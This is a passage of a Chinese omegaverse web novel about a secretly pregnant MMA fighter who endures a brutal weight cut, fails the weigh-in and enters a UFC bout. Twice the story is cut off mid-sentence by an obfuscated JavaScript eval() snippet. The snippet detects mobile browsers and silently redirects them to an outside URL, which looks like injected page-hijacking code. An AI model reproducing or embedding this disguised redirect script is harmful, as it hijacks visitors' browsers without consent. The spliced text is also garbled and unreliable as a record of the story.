“那不是好事儿么?”闻言,陆庭风狡黠地朝他挤挤眼睛,“咱们把洛城带过去,让律总跟他开口,我们在边上看着就行了。” “行!”乐得把这个烫手山芋丢出去,曹磊走上前招呼一声,洛城便微喘着停下动作,把跳绳丢到地上,一边抹脸一边跟着他走过来:“……去战术室?” “嗯。”陆庭风的视线控制不住地往他身下飘去,“律总有话要跟你说。” 以为闻人律是要对昨晚的事兴师问罪,洛城闷着脸扯了条毛巾用力擦汗,一头卷发被他搓成了鸡窝。半晌,他把毛巾一丢,头发一捋,坚定视线仿佛视死如归:“……走吧。” 陆庭风默默屏住了呼吸:大哥你别搞这么严肃,我们只是想关心关心你而已…… 不多时,三人陆续走进战术室,闻人律坐在前排等候已久。听见动静回过头,他一眼就见洛城板着张脸,一双虎目生硬地撇向别处,脖子梗着好似死不悔改,让人看了就来气。闻人律本想好声好气地慰问他,这会儿也没心情了,直接把手机顺着长桌推过去,冷冷道:“……你自己看。” 洛城神色一僵,狐疑地低头望,良好视力很快便捕捉到了那方小小屏幕中的关键信息。陆庭风和曹磊在一旁密切打量着他,屏息静气,洛城的神情好似天空被乌云覆盖了,面色在眨眼间变得难堪、僵硬,却又紧咬着牙关不发一言。见状,其他三人还有什么不明白的——新闻中报道的内容绝对是真的! 头疼地揉揉眉心,闻人律叹口气,百思不得其解:“你……你怎么回事,嗯?怎么会突然出现这种问题,难道你擅自服用了类固醇吗?” 洛城垂着头,嘴角紧抿,不说话。 ……看来也不是类固醇的原因。见状,陆庭风解围道:“现在不是深究原因的时候。我们该想想怎么应对……这种指控很尴尬,大张旗鼓地回应嘛,好像太虚张声势了,可不回应,别人又觉得是默认了,这对洛城的形象是个不小的打击。” “……会影响到比赛赔率吗?”曹教练小心翼翼地问。 “已经影响了。”说着,闻人律望向洛城,拧着眉仔细端详他的神情,“你现在有什么想法?这件事关乎你的名声和形象,今天之内,公司方面肯定是要进行反驳的。你是自己出面呢,还是我们帮你回应……?” 有什么想法?洛城苍白着脸,木然抬起头,与闻人律短促地对视了一眼。烦心的事接二连三,他的大脑已经放弃反应了,只想破罐子破摔地逃避一切:“我没有想法,”他的声音是难得一见的消沉,“你们想怎么回应就怎么回应吧,我还要继续脱水……走了。” 他走得很急,埋着头直冲冲撞出去,似乎急于逃离这难堪的处境。但想到场馆里其他选手的窃窃私语,曹教练不禁沉重地叹息一声,也站了起来:“律总,这事儿你们就全权负责吧。现在洛城忙着脱水,不好分心的……咱们也别烦他了。” 事已至此,还能怎么办呢?闻人律头疼地摆摆手,让他赶紧追上去陪着洛城。至于对策……自己再跟陆庭风慢慢商量吧。 ---------------------- 与此同时,网络上已经吵成了一团。 ED是个下作却极为有效的指控,十分轻易地引爆了粉丝们的争论。有人不以为然,说这肯定是对手泼的脏水,专门搞心态的,想从精神上打垮洛城;也有人深信不疑,说洛城备赛时肯定用了类固醇,这才会导致激素紊乱、最终性功能障碍,并呼吁WADA(世界反兴奋剂组织)在赛后对洛城进行严格的尿检。网络上众说纷纭,吵得不可开交,登峰训练馆内亦是暗流涌动、议论纷纷。 ……洛城终于明白了那些讳莫如深的视线是为何而来。 他没吭声,亦没有任何表示,只是在跑步机上闷头跑步,仿佛外界一切都与他无关。这样封闭的状态让人有点儿不安——曹教练在边上担忧地望着,总想安慰两句,但又怕说得不合适,再伤了他的心……正绞尽脑汁,洛城摁停了跑步机走下来,面无表情地一边擦汗一边问他:“磊哥,我去称一下体重吧,看减了多少。” “啊?哦,好,去称一下。”忙不迭跟着他来到体重秤前,接过毛巾把人扶上去,洛城微微一僵,无奈地回头望他:“磊哥,我还没虚弱到那份儿上……” “哎,这不是……不是担心你嘛。”声音心虚地低下去,此时电子秤显示出体重,193斤,还差9斤。洛城抿抿唇,下了称躬身穿鞋。他深深地垂着脑袋,一头卷发湿漉漉地翻下去,声音低沉却清晰地传了上来:“……没事,我就是太紧张了,过了这阵子就会好的。”他这样说。 “真的?”曹教练精神一振,将信将疑的,也不知这话是真是假。不过,让他一个绯闻中心的受害者反过来宽慰自己,这已经是相当失职了。曹磊拍拍脸,赶忙振作一些,用力揽着他脖子晃一晃,走向休息室:“先休息半个钟吧!午饭稍微吃一点儿,下午咱们穿上体重服,进行最后的冲刺!” ------------- 眼前已经开始有点晕眩了。 体重服是贴身且不透气的,像一层沉重的塑料膜裹在身上,阻断毛孔散热的一切途径。洛城的头发尽数湿透,一绺一绺地垂在额前,呼吸沉重。他感觉自己全靠肺里的一口气强撑着,在跑步机上缓慢跋涉——然而跑也已经跑不动了,双腿像灌了铅,肌肉像抽了丝,这明明是减重到极限时才会出现的反应,现在却过早地发生。洛城明白,这是那个“东西”害的。 筋疲力尽地走下跑步机,佝偻着靠在墙边喘息,洛城不自觉地把手捂在小腹上,轻轻揉搓——那里已经开始不大舒服了。仿佛一枚细小的卵包裹在紧绷发力的肌肉里,被挤压、被拉扯,导致蛋面缓缓地迸出了裂痕。洛城似乎听到它在细微地呼喊,用一种小鸟般的声音,嘤嘤啾啾,如此脆弱,如此可怜,令他忍不住艰涩地苦笑:你看你,怎么偏偏跑到我肚子里来……? 我是想要个孩子没错,但我,我没想过要自己生啊! 现在好了,你不痛快,我也不痛快,这样相互折磨,又会有什么好结果呢? 身心俱疲,他靠着墙壁缓缓滑坐下去,双腿酸软,再也不想站起来。曹教练很快走到身旁,摸摸他湿淋淋的后脑勺,问:“怎么样,还能坚持吗?” 洛城精疲力尽地闭着眼,声音沉得像无力的风:“……我现在还差多少斤?” “再称称看吧,来,过来。”靶师小秦和体能教练走上前,一齐将他扶起身,搀着他脱掉湿漉漉的体重服,又用毛巾把他浑身的汗擦干。上称时,洛城几乎踉跄了一下,脑袋一阵晕眩,身体控制不住地向体能邓教练倒去。邓教练惊呼着撑住他:“我靠!怎么回事,这次减重怎么虚弱成这样?” 洛城不说话,只苦笑着站定,松开手望向显示屏:190斤,还差6斤……!所有人都傻了眼,倒吸一口凉气:“只剩下十五个钟了……这可减不掉六斤啊!” 曹教练忍不住望向邓教练:“……只能桑拿房了吧?” 邓康年一脸焦灼的神情:“律总最忌讳桑拿房了,弄这个还要跟他报备……而且你忘记了?两星期前洛城蒸晕过,他现在状态比那时候更差,我怕他倒在里头。” “……那就毛巾热敷吧!”只能退而求其次了,曹磊果断将洛城扶到浴室附近的角落,差人拿来了许多毛巾和一块巨大的锡箔纸。小秦先把一条浴巾卷成枕头状,再铺开二条浴巾作床单,扶着洛城躺下来后,又用锡箔纸将他全身密密实实地盖住,所有缝隙一一掖好。这时,曹教练打来两桶飘着蒸汽的热水,把剩下的毛巾都泡进去,再一条一条地拧至半干,厚厚地盖到洛城身上。 热度通过锡箔纸传递到周身皮肤,洛城痛苦地闭着眼,忍不住呻吟了一声:“操……”他感觉自己好像成了一串铁板烧,被烫热的毛巾炙烤着、折磨着,逼出体内仅存的水分。太口渴了,太焦灼了,有那么一瞬间,他几乎崩溃地想要哭出声:不想打了,真的……太难受了,难受得恨不得一了百了!肚子里的这个小东西摧毁的不仅仅是他的身体,还有他的心智。 热得迷迷糊糊之中,身边好像走来了两个人,低声询问:“现在还差多少斤?……六斤?这差得也太多了……格伦奥康纳不会同意比赛的,起码要再减三斤。” “我们本来想蒸桑拿……” “桑拿还是算了,他这状况也不像挨得起的样子。实在不行,再泡一晚上热水浴……不吃晚饭能撑得住吗?” “应该还行……” 沉重地抬起眼皮,洛城看到了闻人律和陆庭风,两人西装革履地站在一旁,居高临下地望着自己。他们的眼神中似乎有一缕担忧,但眸色太过深沉,又或者自己的精神实在虚弱,看得不甚清晰……洛城心想,牧场主对待马匹的心情应当也是如此吧?关心是关心的,只不过并没有把对方当做平等的人。 一个钟后,热敷结束。此时上称再称,又下去了1.4斤。无奈,备赛组只得启用最后一个方案——热水浴。 洛城已经疲惫得说不出话了。 经过短暂的冰敷缓解之后,晚上九点,他空着肚子被架进了热气腾腾的热水池里。此时的胃已经感觉不到饿,甚至也不会干呕了,像个死物一般垂挂在胸腔里面,无声无息。极致的灼热和全方位蒸汽浸漫之中,洛城歪着头靠在池壁上,总感觉眼前的一切在慢慢模糊、慢慢消散。他好像看到了一个小女孩虚弱的身影,那个在他梦中出现过好几次的小女孩,乌发雪肤,漂亮得像白雪公主——可是她在哭,摇摇晃晃地走到自己面前,委屈地哭:爸爸,我好渴,我好难受……你为什么要这样对我? “洛城!洛城!”大力的摇晃之下,他猛地惊醒过来,视线艰难凝聚,看见了曹教练和邓教练的脸。他们紧张而担忧地注视着自己,神情不忍:“你……你还能坚持吗?” 两眼木木地转动半圈,洛城徒劳地咽一下喉咙,只感觉到砂砾一般的干涸:“我没事,继续吧。” “那,那你别睡啊,咱们说说话,你睁着眼睛。”被他刚才疑似昏迷的模样吓得不轻,曹教练七手八脚地掏出手机,给他看格伦奥康纳的往期比赛视频:“你看看录像吧,想想咱们的战术……” 洛城只觉身心俱疲,哭笑不得地扯扯唇,生无可恋道:“磊哥,这种时候,我哪还有心情看比赛啊?” 一旁的邓教练忽然想起什么,道:“傍晚时我见你的账号回应了今早上万云发布的新闻,应该是陆秘书发的……你看一看吧。到了明天称重现场,格伦奥康纳肯定还要刁难你的。”说着,他点开网页递过去,洛城定睛一看,只见自己的ig账号转发了万云传媒的那一篇新闻,并道:“这种栽赃的把戏我小学五年级就不玩了,某人果然是年轻气盛。” 洛城忍不住低沉地笑了一下。 “挺好。”他说。这种事不必解释太多,直接不承认并反咬一口就是了。明天称重之后的对视环节,奥康纳那张嘴贱兮兮的,估计不会善罢甘休……自己该怎么应对呢?脑子里漫漫地想着,洛城的眼帘逐渐垂下去,身子一滑,差点儿没进了水里。 --------------------- 教练组没敢让他再泡热水浴。 凌晨一点,洛城气若游丝地躺在理疗床上,面色灰暗、嘴唇苍白,整个人像发烧一般,皮肤灼热到烫手。备赛团队四人拿着冰块给他搓揉四肢,快速降温,不多时,穿着休闲装的闻人律急匆匆赶了过来,神色紧张而迫切:“怎么样,目前情况如何?” “体重卡在186.5斤,下不去了。”曹教练无不痛惜地道:“哎,要是昨天晚上他不放纵那么一轮……” “现在说这些话没有意义,还是想想怎么解决问题吧。”闻人律此时冷静到可怕,双眼仔细打量一番洛城的状态,扭头又问:“从现在到明天早上九点,体重还有可能往下降吗?” “他现在已经减到极点,身体细胞开始锁水了,今晚再怎么代谢,估计也只能下去0.2kg左右,到不了184斤的。” “0.2kg……那明早上称大概就是186斤,差2.5磅左右。这个差值,我应该能把补偿比例往下压一压,争取跟Dana谈到20%。”闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572151|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人律说。事到如今,他心里已经很明了了,这一次比赛洛城凶多吉少,大概率是要输的。现在只能想办法尽力补救,降低损失,以及……祈求比赛那天不要输得太难看。 蹲下身,闻人律望着洛城虚弱的脸,心情说不复杂那是假的。从敲定比赛那一天开始,登峰按部就班地宣传、造势,在洛城身上砸了三百万有余。虽然竞技体育有胜有负,谁也不敢说稳赢不败的,但也不至于落到如此失控的境地……察觉到心里的不满又开始冒头,闻人律用力闭上眼,屏息压制几秒,半晌才抬起头,冷静地望向洛城:“减重到此为止,今晚你好好休息一下——能睡得着觉吗?” 洛城的眼帘半垂着,神情萎靡,好像没有听见他的话。见状,闻人律招手叫来曹教练,郑重地嘱咐道:“今晚不要让他回家,你们也别回去了,都在训练馆休息。明天一早,我会让后勤团队带一些好消化的食物去现场,称完重立刻补水补碳……” “带点手擀面吧,”曹教练冷不丁说,“洛城喜欢吃面。” “知道,我已经吩咐了。”闻人律答得迅速而淡然,倒显得他的提醒太过多余了。安排好一切后,他低头最后看一眼洛城,张张唇想说什么,神情中好像有一丝恻隐。但最终,闻人律什么也没有说,他像来时一样迅疾而果决,急匆匆消失在了夜色里。 ------------------- 经过一晚上的休息,第二天到达称重现场时,洛城扶着车门,自己稳稳当当地走了下来。 团队几人紧张地跟在他身后,一个贴一个粘得紧紧的,生怕他一个踉跄跌倒在地。面对着跟拍镜头,洛城不好仔细说他们,只能保持着僵硬的微笑,咬着牙小声低语:“你们别跟这么紧……离远点儿,我没那么脆弱。” “大哥啊,都到最后关头了,你就别逞强了。”曹教练苦着脸,脚下一步也不敢懈怠:“跟紧点儿总比你倒下来被狗仔拍到的好。你就别管我们了,稳当点儿,小心往前走吧!” 一路心惊胆战到了后台的vip休息室,见他终于在化妆桌前坐了下来,团队几人这才松一口气,精神稍缓。洛城已经整整一天粒米未进,水也只是在出发时稍稍喝了两口,一放松便觉头重脚轻,眼前晕眩不止。化妆师是自己人,见他精神不佳,便叫助手过来扶着他脑侧,让他能放心休息,自己也方便做一些简单的整理和修容。 用粉底液将肤色匀净一下,眉毛刮一刮,卷发抹上发泥向后捋去……面色好像有些差,于是再补一层浅浅的腮红。正忙活着,身后一阵沉定的脚步声由远及近,“笃笃笃笃”,那是高档皮鞋踏在木地板上发出的声音。洛城缓缓睁开眼,就见闻人律立在左前方一米处,静静端详着自己:“快到你了,准备好了吗?” 洛城揉揉眉心,撑着椅子扶手站起身:“……走吧。” 从幕布后方走向台前,刺眼的灯光从头顶和正前方直射而来,将洛城晃得晕眩了一瞬。台下坐着黑压压的一大片媒体,许多长枪短炮对着他,仿佛亟待发射的炮筒。这时,主持人的声音倏然在耳边炸响:“Iron fist!Pleasee here。”洛城感觉自己的心脏猛烈地跳动了一下,仿佛昨夜泡热水浴时的心跳,急促而沉重。 他干涩地咽一下喉咙,定定心神,缓慢地脱下t恤和运动短裤,仅着内裤一步一步地向体重秤走去。UFC的用称是高精度的磅秤,洛城站上去,对着台下做出曲臂的展示动作,薄得像纸一般的皮肤紧紧贴在肌肉上,皮下脂肪似乎尽数干涸了,显示出清晰的肌肉纹理。称重官员在他的正前方仔细观察着数字,随后报数声响起:“Two hundred and seven point five pounds!” 207.5磅,轻重量级的上限是205磅,超重2.5磅。场下顿时一片哗然。 称重结束,他恍惚地转身走向台边,控制着脚步缓缓朝自己的团队走去——那里有他最渴求和水和大肉包,身体已经到达极限,他快要支撑不住了。 这时,UFC的工作人员从他身侧超了过去,提前几步走到闻人律身边,附到耳旁低声讨论。洛城知道他们在协商二次称重的事:如果第一次称重不达标,UFC方面可以再给一个钟头的时间继续减重。下一秒,他看见闻人律抬起头,定定端详着自己,坚定地摇了摇头:“不减了,就这样吧。我们这边可以给奥康纳补偿20%的出场费,就看他接不接受了。” 那一刻,洛城的精神彻底放松下来,脚下一软,倒到了曹教练肩膀上。众人赶紧七手八脚地将他扶到后台,拿来盐糖水和大肉包给他吃几口:“没事,没事,结束了啊,剩下的时间咱们就好好恢复,好好休息……” 洛城虚弱地咀嚼着、吞咽着,胃部得到满足的同时,恍惚间他感觉自己的下腹好像也放松了,那个小东西似乎在里面舒缓地伸了个懒腰,终于心满意足。又迫切地喝下一大口水,舞台上,格伦奥康纳已经称重完毕,举着双手兴奋地大声嘶吼。他的状态似乎很好,减重到极限居然还神采奕奕,双眼放光。 这时,主持人招手邀请洛城上台来,拍摄两人的对视照片。望着奥康纳看见猎物一般的眼神,洛城呼吸一窒,心底居然生出了一丝怯懦。忽然,一瓶水冷不丁出现在眼前,他惶然回望,见是闻人律递过来的,示意他喝一口,又指指奥康纳。电光石火间,洛城明白了他的意图—— 既然没有胜算,那不如闹个大的。 喝下一口水含在嘴里,洛城站起身,不疾不徐地走了过去,立到奥康纳正前方,双手握拳摆出架势,二人之间顿时剑拔弩张。闪光灯立刻闪成一片,“咔嚓”声不绝于耳。此时此刻,奥康纳的蓝色眼珠离他只有五厘米远,那张贱兮兮的嘴像嗜血的野兽一般咧开来,喷着节食后的臭气,幸灾乐祸地问:“Hey Iron fist,what’s wrong with your cock?” 洛城不为所动地扯唇,忽然鼓嘴一喷,口水混着盐糖水迸射出去,扑了奥康纳满脸!他终于大笑起来,在UFC安保人员的阻拦下高声挑衅:“Hey Glen,what’s wrong with your face?” “Fuck!You son of bitch!”格伦愤怒地嘶吼着,一边叫骂一边挥舞着拳头冲上来,现场顿时乱作一团。望着他扭曲到几近狰狞的粉白面庞,洛城被安保人员拦在身后,心里忽然间感觉到一阵松快——这段时间的煎熬与折磨终于告一段落。明天过后,所有混乱、所有意外,都可以结束了。 他捂住了自己的小腹。 18. 走进八角笼 称重结束后,洛城回到后台化妆室,立刻吃了满满一碗番茄鸡蛋面。 后勤团队替他打包的手擀面,煮熟后过了冷水,又拌了些橄榄油防沾。汤水用保温壶装好,番茄鸡蛋也分装在盒子里,吃的时候再一齐倒进碗里,加了葱段稍稍一搅拌,化妆室中立即弥漫开一股朴实而诱人的香气。 “不想吃肉,我现在就想吃点儿碳水。”曹教练还给他拿了些牛排和炙烤三文鱼,但洛城完全沉浸在碳水的快乐之中,看都没看一眼。吃饱喝足后,一行人这才驱车回到场馆,进行后续的恢复和赛前准备。闻人律没有跟着回去,他转身去了公司,跟Dana进行一通视频电话:洛城这次超重算是意外事故,不好好跟Dana解释的话,恐怕会影响他的后续比赛安排。 只是……应该找什么借口呢?闻人律闭着眼靠在车子后排冥思苦想,半晌又不禁气闷:洛城这家伙,真是越来越不着调了! 气归气,但该做的事还是要做。赛前许许多多事情需要打理,比如代言产品的展示、出场音乐及灯光的设计打点等等,所有人都忙得脚不点地。那天晚上,洛城在训练馆都准备睡下了,还被姗姗来迟的形象管理团队薅起来修了一遍发型。曹教练已经困得不行了,坐在对面眯起眼睛困惑地上下打量,并发出灵魂提问:“……有什么差别吗?” “不知道。”洛城已经两天没好好休息,浑身疲惫,又困又乏,当即滚到床上一卷被子,睡了个天昏地暗。 当晚,他又做了梦。 梦里的小姑娘终于安定下来,不哭了,也不质问了,就安安静静地依偎着他,一双小手将他的小臂搂得紧紧的。望着小姑娘黑亮的发顶,洛城伸手摸一摸,忍不住问:明天我要比赛……可能会打到你哦? 嗯?小家伙懵懂地抬头望望,晃晃脚丫,神情间颇有些寂寥。洛城才猛然想起,自己是打算把她打掉的,那痛不痛又何必多问呢?此时再低头看,小姑娘已经消失不见了,周围只有一片空茫,没有朋友,没有家人,他又是孤零零的一个。 ……洛城一头汗地醒了过来。 曹教练他们已经起了,刚去餐厅买了早点回来吃,还给他带了一份鸡蛋培根和牛油果奶昔。洛城浑浑噩噩吃两口,忽然问:“磊哥,你家女儿多大了?” 曹磊一愣,不明所以:“九岁啦,怎么了?” “她粘你吗?”洛城眼巴巴地望着他,满脸希冀。曹教练哭笑不得:“你干嘛突然问这个……她嫌我管她太多,不爱理我,就喜欢粘着她妈。” 洛城的眼神十分明显地黯淡了下去:“这样啊……”但过几秒,他好像想到什么,一边吃培根一边笑了出来。曹教练和邓教练看在眼里,困惑在心里,不禁面面相觑:这人,怕是想结婚生子想疯了! -------------------- 下午三点半时,洛城的体重已经恢复到198斤。 曹教练给闻人律发了个消息汇报实时情况,这位大老板没说什么,只回了一个淡淡的“嗯”字。曹磊还以为他不以为意呢,殊不知闻人律面色疲惫地坐在办公室里,对着这个数据重重地叹了一口气。 “又怎么了?”陆庭风正忙着呢,冷不丁被打断了思绪,便回头望他。 “半个钟前,格伦那边放出新闻,说他这一次减重,减了足足有三十斤。也就是说,今晚他的临场体重起码在210斤,硬生生压了洛城两位数!” “重这么多!”不禁倒吸一口凉气,陆庭风惊愕的同时又隐约感觉不对劲:“奇怪,以前格伦的团队从未在赛前放出这种数据消息,这次怎么那么反常?” “……我就是在头疼这个。”闻人律的面色不大好看,蹙着眉一脸冷肃:“我怀疑洛城的备赛细节、以及这次减重的意外,都被有心人透露了,不然格伦不会莫名其妙出招的——他想让我们心慌意乱、自乱阵脚!” 看来,登峰内部出现了内鬼。 “抓内鬼”这种事从来都是吃力又不讨好的,伤神费力不说,还容易自乱军心。如今比赛当前,这事儿只能暂且按下,赛后再从长计议。于是闻人律又重重地叹了口气——甚至比刚才那一声更深长,手指在茶几上点一点,揉着眉心问陆庭风:“今晚的出场准备得怎么样,代言那边谈好上台的款式和价格了吗?国旗呢,收到了吗?” “国旗已经在后勤团队手里了,至于代言的款式,我这边还在确认。”由于李志明请假,现在洛城的经纪事务有一大半落在了陆庭风身上。虽然以前没接触过此类业务,但以他作为总裁特助的能力,这些小case根本算不上什么。经过一个多星期的熟悉,他就迅速上手,并敏锐地发现了一些疏漏:“这个李志明,真是会吃拿卡要……运动员入场明明只能展示一套服装、一套护具,他居然跟品牌方定了两个,收两份钱!说什么另一套是宣读比赛结果时用的……要不是这一次我接手工作,还发现不了!” 闻人律嫌恶地拧拧眉:“他合同也快到期了吧?等收假回来我就跟他谈一谈,约满后不再续了。” “是该这样,洛城的经纪人以后就让李雪来做……” 闷着头忙到傍晚,眼见天色逐渐暗淡,比赛即将开始,两人便匆匆下楼吃个简餐,随即向梅赛德斯奔驰中心出发。 晚上七点的时间,坐落在江边的巨大白色碟型建筑在晚霞下映照着姹紫嫣红的光,美轮美奂。许多观众已经到了,黑压压的一大片,在馆外广场排着长龙,等待安检进场。 运动员的车通过后场入口进入。闻人律下车时看到了几名垫场赛的选手,他们的比赛在最前面,所以得来早些。不过,当他经过弯弯曲曲的通道来到洛城的准备室时,门后的呼喝击打声已然清晰可闻——洛城居然已经到了。 推门而入,整个备赛团队都在里面,曹教练正配合洛城练习移动击靶。望着洛城脸上、脖子上淋漓的汗水,闻人律不禁拧起眉,招手把他叫到角落,沉声问:“怎么来这么早?你的比赛排在最后,起码要十一点才开始,这么快热身干什么?” 撇着脸抹一把汗,洛城不看他,沉闷道:“待在场馆也是静不下心,干脆就过来了。” ……知他应当是对这次比赛心里没底,闻人律的面色和缓了些,静默半晌,道:“我跟你说实话吧,其实这一场比赛,Dana本来就希望你输的。他们要捧格伦,只是我没答应,因为我不想让你成为格伦的垫脚石。” 闻言,洛城终于抬起头,眼中透出“果然如此”的讥讽神色。闻人律又道:“但是看现在的情况,你估计也很难赢了。正好,我们可以顺水推舟,当做给Dana送个人情,以后也好问他要资源……不过前提是,你在场上要打得足够精彩,明白吗?最好打满五回合,可以的话,再把最佳比赛的花红拿了,这样我才有资本跟Dana谈。” “嗯,我知道。”闻人律这人虽然傲慢,但一直以来是真心为自己打算,洛城也不会不识好歹。他答得很老实,表情难得沉静,一双眼定定的,像一只谋划捕猎的老虎。闻人律不禁多看了他两眼,半晌拍一拍他肩,说声“加油”,这才转身离去。 ------------------- 晚上八点,UFC第289期数字赛正式开始。 坐在贵宾席心不在焉地看了8场副赛、4场主赛,当屏幕上终于开始播放奥康纳的赛前宣传片时,闻人律的双眼才倏然亮起来,整个人正襟危坐,进入状态。陆庭风还在回味刚才那场主赛呢,偏过头准备跟他讨论一番:“你觉不觉得迪亚斯这个选手很有潜力……?”这厮却心不在焉地瞥过来一眼:“谁?什么?” 得,自己就不该在洛城的比赛日跟他讨论别的选手——因为这家伙根本就不会关注其他人,心思全在洛城身上了!自讨没趣,陆庭风翻个白眼,愤懑地闭上了嘴。 大屏幕上,当格伦奥康纳的宣传片播放完毕后,整个场馆的灯光倏然暗下去,环绕音响中传出了一阵嘹亮的风笛声——那是格伦的入场音乐,《The foggy dew》,一首著名的爱尔兰民歌。这名行事张扬的爱尔兰格斗选手在中量级曾打出了令人瞠目结舌的七连胜,一举拿下中量级金腰带,后来却因为连续超重,被Dana剥夺了头衔,并勒令升入轻重量级。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572152|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日是他在轻重量级的第二场比赛,以量级第七的排名挑战第五名的洛城,对此,闻人律表示不屑一顾:“上一场Dana安排刘易斯跟他打——真好笑,刘易斯受伤后一年半没比赛了,一回归就打重炮手,Dana喂得也真心安理得。” 陆庭风又翻个白眼,心里道:大老板要捧人嘛,需要讲什么道理?如果有这种机会,你也会马上帮洛城接下来的,半斤八两……大哥莫说二哥。 在音乐播放到一串急促的鼓点时,聚光灯随着节奏一盏盏亮起,倏然向入场通道汇聚——身披绿白橙爱尔兰国旗的格伦奥康纳已然在那里静候多时。在观众们期待的欢呼声中,他张开健壮的双腿,迈着张狂的步子快步走进人群中隔开的狭长通道,双臂伸展,大声嘶吼,极尽张狂煽动之能事,气势如虹,仿佛一头出笼的金狮。 望着转播屏上格伦意气风发的脸,闻人律的面色不禁逐渐凝重,交握的掌心沁出了薄汗。 在笼前接受过检查之后,格伦纵身一跃跳过三级台阶,像一只大猩猩那样爬进了八角笼。他沿着笼边大摇大摆地逡巡着,不时挥拳、扫踢,恣意展示着自己健壮的身体。望着他胸膛上那个口咬心脏的皇冠银背大猩猩纹身,陆庭风虽然对他无甚好感,但这会儿也不禁震撼地感叹:“格伦这身体条件,真是格斗圣体……他的臂展居然比身高还长十五公分!骨骼又粗大,难怪人人都怕他的后手拳。” 闻人律一听,不禁更心烦了。从格伦此刻的状态来看,他210斤的体重是扎扎实实的,肌肉饱满、经脉贲张,宽厚的脊背仿佛一头银背大猩猩。现在闻人律已经不在乎洛城今夜能不能打个漂亮仗了,只求他不要被打得太受伤……留得青山在,不怕没柴烧。格伦风头正盛,还是避其锋芒的好。 这时,大屏幕上开始播放洛城的宣传视频。外号为“铁拳”的中国斗士长着一张难得深邃的脸,眉目浓烈、鼻梁高挺,笑起来时露出一口整齐白牙,衬着深蜜的肤色和乌黑的蓬松卷发,因此被海外的Omega粉丝起了个昵称“中国的黑骏马”。他拳风刚硬,动作迅疾而出其不意,一手隐蔽的左手拳如冷箭突施,曾将数名格斗好手击毙于此招之下。更值得一提的是他的腿技,爱好者们曾说,洛城的拳是出鞘的刀,腿则是攻城的锤,你只要一个不小心,就会被他踢废了。 视频结束后,灯光暗下去,嘈杂人声逐渐止息,取而代之的是古琴铮铮、竹笛嘹亮。随着“沧海一声笑”的唱词响起,入场通道尽头,上身赤祼、下着深红色宽松短裤的洛城披着国旗缓步走到聚光灯下,双臂举起、旗帜飘飘,沿着狭长的通道不疾不徐地朝八角笼行去。标志性的青铜纹身横贯大臂与胸口,前胸是兽面纹,大臂和手指上是云雷纹,他像一个蛮荒时代的斗士,沉默而坚毅地穿行在黑压压的观众之间。 汹涌的欢呼声和尖叫声几乎掀翻了场馆的顶棚。 望着通道两侧激动不已的观众们,洛城目不斜视地向前走着,心跳“咚、咚、咚、咚”,随着音乐中的鼓点越来越重,直至震耳欲聋。他一直都很清楚,此次UFC在中国举办数字赛,国内的粉丝们必定会热烈响应,并且对他寄予厚望。他本该在这次比赛上大杀四方,可是……为什么偏偏是这个时候,宝宝,你为什么选择在如此紧要的关头来到我的肚子里? 垂下眼帘,他低缓地呼吸着,后背已经沁出了一层心虚的冷汗。心里的埋怨和茫然无法止息,观众的欢呼声越烈,他便越惧怕——如果输了怎么办?在同胞的殷切期望之下,他如果没打赢这场比赛,会陷入万劫不复的境地吗?他的格斗生涯会就此一蹶不振吗? 抬起眼,一层一层黑压压的群众像迫人的山,巍峨立在两侧,将他压得几乎喘不过气。浑浑噩噩来到八角笼前,曹教练走上来接过国旗,又将他推到检查官员面前……这个流程他经历过许多次了,检查面部、检查周身,在确认半指拳套和短裤里没有夹带硬物之后,检查官员拿来凡士林在他眉骨、颧骨部位润润地抹上一层,随即与他握握手,道一声“Good luck”,伸手指向了八角笼入口。 洛城屏住了呼吸。 19. 十三下爆肝拳 一步一步走上台阶,走进八角笼,四周的欢呼仿佛山崩海啸,朝着洛城汹涌地倾泻而来,压得他的胸膛一阵阵发紧。他的胃又开始不舒服了,有点儿胀气、有点儿抽搐,就像早起时那种作呕的感觉,小腹也不由怯怯地紧缩。洛城急促呼吸着,脖子机械转动,终于与格伦奥康纳对视——这个像金狮一般的络腮胡斗士满脸都是嗜血的欲望,抬起手在脖子上轻轻一划,朝他露出了一个狂热的笑容。 “女士们、先生们——”四周忽然像太阳炙烤般亮起,所有聚光灯都朝八角笼中汇聚,主持人西装革履地来到笼子中央,用激昂的声音开始报幕:“这场比赛是今晚赛事的头条主赛!三位场外裁判负责为比赛打分,分别是本-卡特里奇、萨尔-德马托和大卫-莱瑟比。当比赛开始后,八角笼内的执裁由赫伯-迪恩裁判负责。” 赫伯-迪恩……呵,Dana的御用“偏心”裁判。闻人律双臂环胸,发出了“果然如此”的冷笑。 “现在,全场观众以及全世界正在收看比赛的UFC粉丝们,你们翘首以盼的时刻即将开始,从中国申城的梅赛德斯奔驰竞技场进行现场直播——就在此刻!一场五回合的UFC轻重量级比赛立刻上演!首先介绍——”主持人大手一挥,如令旗般指向位于蓝角的格伦奥康纳:“蓝角选手!他是一名综合格斗家,职业战绩为十六胜三负,身高为一米八七、称重体重为92公斤,来自爱尔兰的都柏林,曾是前UFC中量级冠军,同时也是现轻重量级排名第七的选手——The notorious,Glen O’conner!” 